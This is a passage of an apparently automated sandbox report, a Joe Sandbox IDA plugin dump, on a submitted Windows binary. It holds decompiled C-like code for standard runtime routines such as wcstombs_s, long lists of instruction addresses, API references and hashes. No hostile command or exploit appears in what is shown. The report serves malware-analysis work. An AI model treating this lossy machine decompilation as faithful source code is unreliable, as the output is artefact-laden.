									__eax =  *(__ebp - 4);
									 *( *(__ebp - 4)) =  *(__ebp - 0x494);
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									goto L179;
								}
							}
							L165:
							__eflags =  *(__ebp - 0x4a0);
							if( *(__ebp - 0x4a0) >= 0) {
								goto L167;
							}
							goto L166;
							L167:
							__ecx =  *(__ebp - 0x4a0);
							 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
							__edx =  *(__ebp - 0x49c);
							 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
							goto L168;
						}
					}
				}
			}

0x0043c389
0x0043c389
0x0043c389
0x0043c389
0x0043c389
0x0043c389
0x0043c389
0x0043c393
0x0043c393
0x0043c393
0x0043c39d
0x0043c39d
0x0043c3a3
0x0043c3a5
0x0043c3aa
0x0043c3b4
0x0043c3b4
0x0043c3b7
0x0043c3bb
0x0043c3bb
0x0043c3e2
0x0043c3e2
0x0043c3e5
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c49e
0x0043c4a2
0x0043c4aa
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c483
0x0043c487
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c45d
0x0043c469
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c441
0x0043c445
0x0043c44d
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c414
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3ec
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x0043c4c0
0x0043c4c0
0x0043c4c7
0x00000000
0x00000000
0x0043c4c9
0x0043c4c9
0x0043c4d4
0x0043c4da
0x0043c4dc
0x0043c4e2
0x0043c4e5
0x0043c4e7
0x0043c4ed
0x0043c4f6
0x0043c4fb
0x0043c518
0x0043c51b
0x0043c51b
0x0043c520
0x0043c525
0x0043c525
0x0043c52b
0x0043c52d
0x0043c533
0x0043c539
0x0043c539
0x0043c542
0x0043c542
0x0043c52b
0x0043c548
0x0043c54c
0x0043c55a
0x0043c55d
0x0043c560
0x0043c567
0x0043c569
0x0043c569
0x0043c54e
0x0043c54e
0x0043c54e
0x0043c576
0x0043c576
0x0043c57c
0x0043c57e
0x0043c57e
0x0043c585
0x0043c58b
0x0043c58e
0x0043c58e
0x0043c58e
0x0043c594
0x0043c597
0x0043c59a
0x0043c59c
0x00000000
0x00000000
0x0043c59e
0x0043c5a4
0x0043c5a4
0x0043c5aa
0x0043c627
0x0043c62d
0x0043c630
0x0043c633
0x0043c636
0x0043c639
0x0043c63f
0x0043c63f
0x0043c645
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x0043c67a
0x0043c67d
0x0043c67d
0x0043c680
0x0043c685
0x0043c685
0x0043c68a
0x0043c6a1
0x0043c6a1
0x0043c6a4
0x0043c6bb
0x0043c6bb
0x0043c6be
0x0043c6c0
0x0043c6c5
0x0043c6c9
0x0043c6c9
0x0043c6a6
0x0043c6a6
0x0043c6ab
0x0043c6af
0x0043c6af
0x0043c68c
0x0043c68c
0x0043c691
0x0043c695
0x0043c695
0x0043c68a
0x0043c6d3
0x0043c6d6
0x0043c6d9
0x0043c6e2
0x0043c6e2
0x0043c6e5
0x0043c6e7
0x0043c6ee
0x0043c6f2
0x0043c6fb
0x0043c700
0x0043c703
0x0043c70a
0x0043c70e
0x0043c712
0x0043c71e
0x0043c721
0x0043c721
0x0043c724
0x0043c729
0x0043c729
0x0043c72c
0x0043c72e
0x0043c735
0x0043c739
0x0043c742
0x0043c747
0x0043c72c
0x0043c74a
0x0043c74e
0x0043c808
0x0043c808
0x0043c80f
0x0043c813
0x0043c817
0x0043c81b
0x00000000
0x0043c754
0x0043c754
0x0043c754
0x0043c758
0x00000000
0x00000000
0x0043c75e
0x0043c75e
0x0043c761
0x0043c767
0x0043c76a
0x0043c770
0x0043c770
0x0043c770
0x0043c77c
0x0043c77f
0x0043c785
0x0043c787
0x00000000
0x00000000
0x0043c789
0x0043c789
0x0043c78c
0x0043c792
0x0043c79a
0x0043c79c
0x0043c7a3
0x0043c7aa
0x0043c7b9
0x0043c7bf
0x0043c7c6
0x0043c7d4
0x0043c7d4
0x0043c7db
0x0043c7e7
0x0043c7f5
0x0043c7fb
0x00000000
0x0043c7fb
0x0043c7c8
0x0043c7c8
0x00000000
0x0043c7c8
0x0043c806
0x0043c823
0x0043c823
0x0043c82a
0x0043c82f
0x0043c82f
0x0043c832
0x0043c834
0x0043c83b
0x0043c848
0x0043c84d
0x0043c832
0x0043c82a
0x0043c850
0x0043c850
0x0043c854
0x0043c858
0x0043c85c
0x0043c864
0x0043c864
0x0043c86b
0x0043c86b
0x0043b9eb
0x0043b9f2
0x0043b9ff
0x0043ba04
0x00000000
0x0043ba17
0x0043ba21
0x0043ba48
0x0043ba2f
0x0043ba40
0x0043ba40
0x0043ba21
0x0043ba52
0x0043ba58
0x0043ba64
0x0043ba67
0x0043ba75
0x0043ba78
0x0043ba85
0x0043bb2a
0x0043bb30
0x0043bb36
0x0043bb3d
0x00000000
0x00000000
0x0043bb43
0x0043bb49
0x00000000
0x0043bb50
0x0043bb50
0x0043bb6a
0x0043bb6f
0x00000000
0x00000000
0x0043bb77
0x0043bb77
0x0043bb7e
0x0043bb81
0x0043bb84
0x0043bb87
0x0043bb8a
0x0043bb8d
0x0043bb90
0x0043bb97
0x0043bb9e
0x00000000
0x00000000
0x0043bbaa
0x0043bbaa
0x0043bbb1
0x0043bbbd
0x0043bbc0
0x0043bbc6
0x0043bbcd
0x00000000
0x00000000
0x0043bbcf
0x0043bbd5
0x0043bbd5
0x0043bbdc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc20
0x0043bc20
0x0043bc27
0x0043bc2a
0x0043bc54
0x0043bc57
0x0043bc57
0x0043bc61
0x0043bc61
0x0043bc65
0x0043bc2c
0x0043bc2c
0x0043bc38
0x0043bc3b
0x0043bc3f
0x0043bc41
0x0043bc44
0x0043bc44
0x0043bc47
0x0043bc4a
0x0043bc4d
0x0043bc4f
0x0043bc4f
0x0043bc52
0x0043bc68
0x00000000
0x00000000
0x0043bc6d
0x0043bc6d
0x00000000
0x00000000
0x0043bc79
0x0043bc79
0x0043bc80
0x0043bc83
0x0043bca3
0x0043bca6
0x0043bca6
0x0043bcb0
0x0043bcb0
0x0043bcb4
0x0043bc85
0x0043bc85
0x0043bc91
0x0043bc94
0x0043bc98
0x0043bc9a
0x0043bc9a
0x0043bca1
0x00000000
0x00000000
0x0043bcbc
0x0043bcbc
0x0043bcc3
0x0043bccf
0x0043bcd2
0x0043bcd8
0x0043bcdf
0x0043bdf2
0x00000000
0x0043bdf2
0x0043bce5
0x0043bceb
0x0043bceb
0x0043bcf2
0x00000000
0x0043bd29
0x0043bd29
0x0043bd2c
0x0043bd2f
0x0043bd32
0x0043bd59
0x0043bd59
0x0043bd5c
0x0043bd5f
0x0043bd62
0x0043bd86
0x0043bd86
0x0043bd89
0x0043bd8c
0x0043bd8f
0x0043bdc8
0x0043bdd9
0x00000000
0x0043bdd9
0x0043bd91
0x0043bd91
0x0043bd94
0x0043bd97
0x0043bd9a
0x00000000
0x00000000
0x0043bd9c
0x0043bd9c
0x0043bd9f
0x0043bda2
0x0043bda5
0x00000000
0x00000000
0x0043bda7
0x0043bda7
0x0043bdaa
0x0043bdad
0x0043bdb0
0x00000000
0x00000000
0x0043bdb2
0x0043bdb2
0x0043bdb5
0x0043bdb8
0x0043bdbb
0x00000000
0x00000000
0x0043bdbd
0x0043bdbd
0x0043bdc0
0x0043bdc3
0x0043bdc6
0x0043bdca
0x00000000
0x0043bdca
0x00000000
0x0043bdc6
0x0043bd64
0x0043bd64
0x0043bd67
0x0043bd6b
0x0043bd6e
0x00000000
0x0043bd70
0x0043bd73
0x0043bd76
0x0043bd7c
0x0043bd81
0x00000000
0x0043bd81
0x0043bd6e
0x0043bd34
0x0043bd34
0x0043bd37
0x0043bd3b
0x0043bd3e
0x00000000
0x0043bd40
0x0043bd43
0x0043bd46
0x0043bd4c
0x0043bd51
0x00000000
0x0043bd51
0x00000000
0x0043bddb
0x0043bddb
0x0043bdde
0x0043bde1
0x00000000
0x00000000
0x0043bcf9
0x0043bcf9
0x0043bcfc
0x0043bcff
0x0043bd02
0x0043bd1b
0x0043bd1e
0x0043bd1e
0x0043bd21
0x0043bd04
0x0043bd04
0x0043bd07
0x0043bd0a
0x0043bd10
0x0043bd16
0x0043bd16
0x00000000
0x00000000
0x0043bde6
0x0043bde6
0x0043bde9
0x0043bde9
0x0043bdef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bdf7
0x0043bdf7
0x0043bdfe
0x0043be04
0x0043be0a
0x0043be0d
0x0043be13
0x0043be1a
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c670
0x0043be20
0x0043be26
0x0043be26
0x0043be2d
0x00000000
0x0043c1b1
0x0043c1b1
0x0043c1bf
0x0043c1bf
0x0043c1c2
0x00000000
0x00000000
0x0043be34
0x0043be37
0x0043be37
0x0043be3d
0x0043be3f
0x0043be42
0x0043be42
0x0043be45
0x0043be45
0x00000000
0x00000000
0x0043bf7a
0x0043bf7d
0x0043bf7d
0x0043bf82
0x0043bf84
0x0043bf87
0x0043bf87
0x0043bf8a
0x0043bf8a
0x00000000
0x00000000
0x0043c37d
0x0043c37d
0x0043c393
0x0043c393
0x0043c39d
0x0043c39d
0x0043c3a3
0x0043c3a5
0x0043c3aa
0x0043c3b4
0x0043c3b4
0x0043c3b7
0x0043c3bb
0x0043c3bb
0x00000000
0x00000000
0x0043bee4
0x0043bee4
0x0043bef0
0x0043bef6
0x0043befd
0x0043bf0b
0x0043bf0b
0x0043bf11
0x0043bf14
0x0043bf20
0x0043bf75
0x00000000
0x0043bf75
0x0043beff
0x0043beff
0x0043bf05
0x0043bf09
0x0043bf28
0x0043bf28
0x0043bf2e
0x0043bf56
0x0043bf5d
0x0043bf63
0x0043bf66
0x0043bf69
0x0043bf6f
0x0043bf72
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf39
0x0043bf3c
0x0043bf42
0x0043bf45
0x0043bf48
0x0043bf4a
0x0043bf4d
0x0043bf4d
0x00000000
0x0043bf2e
0x00000000
0x00000000
0x0043c1c9
0x0043c1cc
0x0043c1cf
0x0043c1d2
0x0043c1d8
0x0043c1db
0x0043c1e2
0x0043c1e6
0x0043c1f1
0x0043c1f1
0x0043c1f5
0x0043c20c
0x0043c20c
0x0043c213
0x0043c215
0x0043c215
0x0043c21c
0x0043c21c
0x0043c223
0x0043c231
0x0043c234
0x0043c243
0x0043c246
0x0043c24a
0x0043c25f
0x0043c24c
0x0043c24c
0x0043c24f
0x0043c255
0x0043c25a
0x0043c25a
0x0043c24a
0x0043c269
0x0043c26c
0x0043c26f
0x0043c272
0x0043c275
0x0043c278
0x0043c27e
0x0043c284
0x0043c28c
0x0043c28d
0x0043c290
0x0043c291
0x0043c294
0x0043c295
0x0043c29c
0x0043c29d
0x0043c2a0
0x0043c2a1
0x0043c2a4
0x0043c2a5
0x0043c2ab
0x0043c2ac
0x0043c2bb
0x0043c2bd
0x0043c2c3
0x0043c2c3
0x0043c2c8
0x0043c2ca
0x0043c2ce
0x0043c2d0
0x0043c2d8
0x0043c2d9
0x0043c2dc
0x0043c2dd
0x0043c2ec
0x0043c2ee
0x0043c2ee
0x0043c2ce
0x0043c2f1
0x0043c2f8
0x0043c2fb
0x0043c300
0x0043c300
0x0043c306
0x0043c308
0x0043c310
0x0043c311
0x0043c314
0x0043c315
0x0043c323
0x0043c325
0x0043c325
0x0043c306
0x0043c328
0x0043c32b
0x0043c32e
0x0043c331
0x0043c336
0x0043c33b
0x0043c33e
0x0043c341
0x0043c341
0x0043c344
0x0043c344
0x0043c347
0x0043c353
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x00000000
0x0043c670
0x0043c1f7
0x0043c1f7
0x0043c1fe
0x0043c201
0x00000000
0x00000000
0x0043c203
0x0043c203
0x00000000
0x0043c203
0x0043c1e8
0x0043c1e8
0x00000000
0x00000000
0x0043be48
0x0043be48
0x0043be53
0x0043be5b
0x0043be62
0x0043be65
0x0043be65
0x0043be68
0x0043bec1
0x0043bec8
0x0043be6a
0x0043be71
0x0043be77
0x0043be7d
0x0043be84
0x0043be87
0x0043be8d
0x0043be95
0x0043be97
0x0043be9e
0x0043bea5
0x0043beac
0x0043beb4
0x0043beb6
0x0043beb8
0x0043beb8
0x0043bebf
0x0043becf
0x0043bed5
0x0043bed8
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x00000000
0x0043c35b
0x0043c35e
0x0043c361
0x0043c364
0x0043c3e2
0x0043c3e5
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c49e
0x0043c4a2
0x0043c4aa
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c483
0x0043c487
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c45d
0x0043c469
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c441
0x0043c445
0x0043c44d
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c414
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3ec
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x00000000
0x0043c0ba
0x0043c0ba
0x0043c0c6
0x0043c0cc
0x0043c0d1
0x0043c0d3
0x0043c17d
0x0043c17d
0x0043c180
0x0043c180
0x0043c183
0x0043c197
0x0043c19d
0x0043c1a3
0x0043c185
0x0043c185
0x0043c18b
0x0043c192
0x0043c192
0x0043c1a5
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c670
0x0043c0d9
0x0043c0d9
0x0043c0d9
0x0043c0db
0x0043c0e9
0x0043c0dd
0x0043c0dd
0x0043c0dd
0x0043c0f3
0x0043c0f9
0x0043c0ff
0x0043c106
0x0043c108
0x0043c10d
0x0043c10f
0x0043c114
0x0043c119
0x0043c11b
0x0043c120
0x0043c123
0x0043c126
0x0043c128
0x0043c128
0x0043c126
0x0043c129
0x0043c130
0x0043c178
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c132
0x0043c132
0x0043c137
0x0043c153
0x0043c15b
0x0043c165
0x0043c168
0x0043c16d
0x00000000
0x0043c16d
0x00000000
0x0043c3c4
0x0043c3c4
0x0043c3ce
0x0043c3ce
0x0043c3d4
0x0043c3d6
0x0043c3d9
0x0043c3d9
0x0043c3df
0x0043c3df
0x0043c3e2
0x0043c3e2
0x0043c3e5
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c49e
0x0043c4a2
0x0043c4aa
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c483
0x0043c487
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c45d
0x0043c469
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c441
0x0043c445
0x0043c44d
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c414
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3ec
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x00000000
0x0043c4be
0x00000000
0x0043c376
0x0043c376
0x00000000
0x00000000
0x0043bf8d
0x0043bf8d
0x0043bf91
0x0043bf9f
0x0043bfa2
0x0043bf93
0x0043bf93
0x0043bf93
0x0043bfa8
0x0043bfae
0x0043bfb4
0x0043bfc0
0x0043bfc6
0x0043bfc6
0x0043bfc9
0x0043c051
0x0043c051
0x0043c055
0x0043c057
0x0043c05d
0x0043c05d
0x0043c060
0x0043c067
0x0043c06a
0x0043c070
0x0043c070
0x0043c070
0x0043c076
0x0043c07c
0x0043c07f
0x0043c085
0x0043c087
0x00000000
0x00000000
0x0043c089
0x0043c089
0x0043c08f
0x0043c092
0x0043c094
0x00000000
0x00000000
0x0043c096
0x0043c09c
0x0043c09f
0x0043c09f
0x0043c0a7
0x0043c0a7
0x0043c0ad
0x0043c0ad
0x0043c0b2
0x00000000
0x0043bfcf
0x0043bfcf
0x0043bfcf
0x0043bfd3
0x0043bfd5
0x0043bfda
0x0043bfda
0x0043bfdd
0x0043bfe0
0x0043bfe6
0x0043bff8
0x0043bff8
0x0043bff8
0x0043bffb
0x0043c001
0x00000000
0x00000000
0x0043c003
0x0043c003
0x0043c009
0x0043c00c
0x0043c00e
0x00000000
0x00000000
0x0043c010
0x0043c010
0x0043c019
0x0043c01f
0x0043c023
0x0043c02b
0x0043c02d
0x0043c02f
0x0043c035
0x0043c035
0x0043c038
0x0043c038
0x0043c044
0x0043c047
0x0043bfef
0x0043bff2
0x0043bff2
0x0043bff5
0x0043bff5
0x0043c04f
0x0043c0b5
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c670
0x00000000
0x0043c36d
0x0043c36d
0x0043c3e2
0x0043c3e2
0x0043c3e5
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c49e
0x0043c4a2
0x0043c4aa
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c483
0x0043c487
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c45d
0x0043c469
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c441
0x0043c445
0x0043c44d
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c414
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3ec
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x00000000
0x0043c4be
0x00000000
0x00000000
0x00000000
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x00000000
0x00000000
0x0043bbf9
0x0043bbf9
0x0043bbfc
0x0043bbff
0x00000000
0x00000000
0x0043bc04
0x0043bc07
0x0043bc0d
0x00000000
0x00000000
0x0043bbee
0x0043bbf1
0x0043bbf4
0x00000000
0x00000000
0x0043bbe3
0x0043bbe6
0x0043bbe9
0x00000000
0x00000000
0x0043bc12
0x0043bc12
0x0043bc15
0x0043bc15
0x0043bc18
0x00000000
0x00000000
0x0043bc1b
0x00000000
0x00000000
0x0043ba8b
0x0043ba8b
0x0043ba8d
0x0043ba9b
0x0043ba8f
0x0043ba8f
0x0043ba8f
0x0043baab
0x0043bab8
0x0043baba
0x0043babf
0x0043bac1
0x0043bac6
0x0043bacb
0x0043bacd
0x0043bad2
0x0043bad8
0x0043bada
0x0043bada
0x0043bad8
0x0043badb
0x0043bae2
0x00000000
0x0043bae4
0x0043bae9
0x0043bb05
0x0043bb0d
0x0043bb1a
0x0043bb1f
0x0043c934
0x0043c941
0x0043c941
0x0043bae2
0x0043ba85
0x0043c870
0x0043c870
0x0043c877
0x0043c88e
0x0043c88e
0x0043c898
0x0043c898
0x0043c89e
0x0043c8a4
0x0043c8ab
0x0043c8ad
0x0043c8b2
0x0043c8b4
0x0043c8b9
0x0043c8be
0x0043c8c0
0x0043c8c5
0x0043c8c8
0x0043c8cb
0x0043c8cd
0x0043c8cd
0x0043c8cb
0x0043c8ce
0x0043c8d5
0x0043c920
0x0043c929
0x0043c92e
0x0043c8d7
0x0043c8dc
0x0043c8f8
0x0043c900
0x0043c90d
0x0043c912
0x0043c912
0x00000000
0x0043c8d5
0x0043c879
0x0043c879
0x0043c880
0x00000000
0x00000000
0x0043c882
0x0043c882
0x00000000
0x0043c882
0x0043c670
0x0043c647
0x0043c647
0x0043c64b
0x0043c658
0x0043c65b
0x0043c65e
0x0043c661
0x0043c664
0x0043c667
0x0043c66a
0x0043c66a
0x0043c66d
0x00000000
0x0043c66d
0x0043c64d
0x0043c64d
0x0043c650
0x0043c653
0x0043c656
0x00000000
0x00000000
0x00000000
0x0043c656
0x0043c5ac
0x0043c5ac
0x0043c5af
0x0043c5b2
0x0043c5b9
0x0043c5c0
0x0043c5c8
0x0043c5ce
0x0043c5d1
0x0043c5d4
0x0043c5db
0x0043c5e7
0x0043c5ed
0x0043c5f3
0x0043c5fa
0x0043c5fc
0x0043c602
0x0043c602
0x0043c608
0x0043c608
0x0043c60e
0x0043c617
0x0043c61c
0x0043c61f
0x0043c58e
0x0043c58e
0x0043c594
0x0043c597
0x0043c59a
0x0043c59c
0x00000000
0x00000000
0x00000000
0x0043c59c
0x0043c58e
0x0043c4cb
0x0043c4cb
0x0043c4d2
0x00000000
0x00000000
0x00000000
0x0043c500
0x0043c500
0x0043c506
0x0043c50c
0x0043c512
0x00000000
0x0043c512
0x0043c3e2
0x0043c393

APIs

_get_int64_arg.LIBCMTD ref: 0043C3F0
__aullrem.LIBCMT ref: 0043C5C0
__aulldiv.LIBCMT ref: 0043C5E2

Strings

', xrefs: 0043C389
9, xrefs: 0043C5F3

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction ID: 3701239ae020b1e4cee12e1c524f52b6eaffa6d632170c1f7dd4a4dfdcde2f08
Opcode Fuzzy Hash: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction Fuzzy Hash: 5B41F7B1E10129AFDB24CF58C881BAEB7B5FF89314F10519AD149BB241D738AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004376C3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004376C3(void* __ebx, void* __esi) {
				signed int _t74;
				intOrPtr _t75;
				void* _t80;
				signed int _t84;
				void* _t92;
				void* _t97;
				signed int _t106;
				signed int _t108;
				signed int _t112;
				signed int _t113;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed int _t125;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				void* _t140;

				_t128 = __esi;
				_t97 = __ebx;
				_t113 =  *(_t129 + 0xc);
				 *_t113 = 0;
				if( *(_t129 + 0x10) != 0xffffffff &&  *(_t129 + 0x10) != 0x7fffffff &&  *(_t129 + 0x10) > 1) {
					_t140 =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
					if(_t140 >= 0) {
						_t113 =  *(_t129 + 0x10) - 1;
						__eflags = _t113;
						 *(_t129 - 0x20) = _t113;
					} else {
						_t112 =  *0x440208; // 0xffffffff
						 *(_t129 - 0x20) = _t112;
					}
					E0041B4E0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x20));
					_t131 = _t131 + 0xc;
				}
				if( *(_t129 + 8) != 0) {
					_t113 =  *(_t129 + 8);
					 *_t113 = 0;
				}
				if( *(_t129 + 0x18) <=  *(_t129 + 0x10)) {
					_t113 =  *(_t129 + 0x18);
					 *(_t129 - 0x24) = _t113;
				} else {
					 *(_t129 - 0x24) =  *(_t129 + 0x10);
				}
				 *(_t129 - 8) =  *(_t129 - 0x24);
				asm("sbb edx, edx");
				_t114 = _t113 + 1;
				 *((intOrPtr*)(_t129 - 0x14)) = _t114;
				if(_t114 == 0) {
					_push(L"bufferSize <= INT_MAX");
					_push(0);
					_push(0x13f);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t92 = L0041E350();
					_t131 = _t131 + 0x14;
					if(_t92 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t129 - 0x14)) != 0) {
					_t100 =  *(_t129 + 0xc);
					_t74 = L00437130(_t97,  *(_t129 - 8), _t127, _t128,  *(_t129 + 0xc),  *((intOrPtr*)(_t129 + 0x14)),  *(_t129 - 8),  *((intOrPtr*)(_t129 + 0x1c)));
					_t132 = _t131 + 0x10;
					 *(_t129 - 0xc) = _t74;
					__eflags =  *(_t129 - 0xc) - 0xffffffff;
					if( *(_t129 - 0xc) != 0xffffffff) {
						_t117 =  *(_t129 - 0xc) + 1;
						 *(_t129 - 0xc) = _t117;
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) == 0) {
							L45:
							__eflags =  *(_t129 + 8);
							if( *(_t129 + 8) != 0) {
								 *( *(_t129 + 8)) =  *(_t129 - 0xc);
							}
							_t75 =  *((intOrPtr*)(_t129 - 4));
							goto L48;
						}
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						if( *(_t129 - 0xc) <=  *(_t129 + 0x10)) {
							L44:
							_t119 =  *(_t129 + 0xc) +  *(_t129 - 0xc);
							__eflags = _t119;
							 *((char*)(_t119 - 1)) = 0;
							goto L45;
						}
						__eflags =  *(_t129 + 0x18) - 0xffffffff;
						if( *(_t129 + 0x18) == 0xffffffff) {
							L43:
							 *(_t129 - 0xc) =  *(_t129 + 0x10);
							 *((intOrPtr*)(_t129 - 4)) = 0x50;
							goto L44;
						}
						 *( *(_t129 + 0xc)) = 0;
						__eflags =  *(_t129 + 0x10) - 0xffffffff;
						if( *(_t129 + 0x10) != 0xffffffff) {
							__eflags =  *(_t129 + 0x10) - 0x7fffffff;
							if( *(_t129 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t129 + 0x10) - 1;
								if( *(_t129 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t106 =  *(_t129 + 0x10) - 1;
										__eflags = _t106;
										 *(_t129 - 0x2c) = _t106;
									} else {
										_t84 =  *0x440208; // 0xffffffff
										 *(_t129 - 0x2c) = _t84;
									}
									_t117 =  *(_t129 - 0x2c);
									__eflags =  *(_t129 + 0xc) + 1;
									E0041B4E0(_t127,  *(_t129 + 0xc) + 1, 0xfe, _t117);
									_t132 = _t132 + 0xc;
								}
							}
						}
						_t104 =  *(_t129 + 0x10);
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						asm("sbb edx, edx");
						 *(_t129 - 0x18) =  ~_t117;
						if( *(_t129 - 0xc) ==  *(_t129 + 0x10)) {
							_push(L"sizeInBytes > retsize");
							_push(0);
							_push(0x157);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
							_push(2);
							_t80 = L0041E350();
							_t132 = _t132 + 0x14;
							__eflags = _t80 - 1;
							if(_t80 == 1) {
								asm("int3");
							}
						}
						__eflags =  *(_t129 - 0x18);
						if( *(_t129 - 0x18) != 0) {
							goto L43;
						} else {
							 *((intOrPtr*)(L00422E40(_t104))) = 0x22;
							E00422BD0(_t97, _t104, _t127, _t128, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
							_t75 = 0x22;
							goto L48;
						}
					} else {
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) != 0) {
							 *( *(_t129 + 0xc)) = 0;
							__eflags =  *(_t129 + 0x10) - 0xffffffff;
							if( *(_t129 + 0x10) != 0xffffffff) {
								__eflags =  *(_t129 + 0x10) - 0x7fffffff;
								if( *(_t129 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t129 + 0x10) - 1;
									if( *(_t129 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t125 =  *(_t129 + 0x10) - 1;
											__eflags = _t125;
											 *(_t129 - 0x28) = _t125;
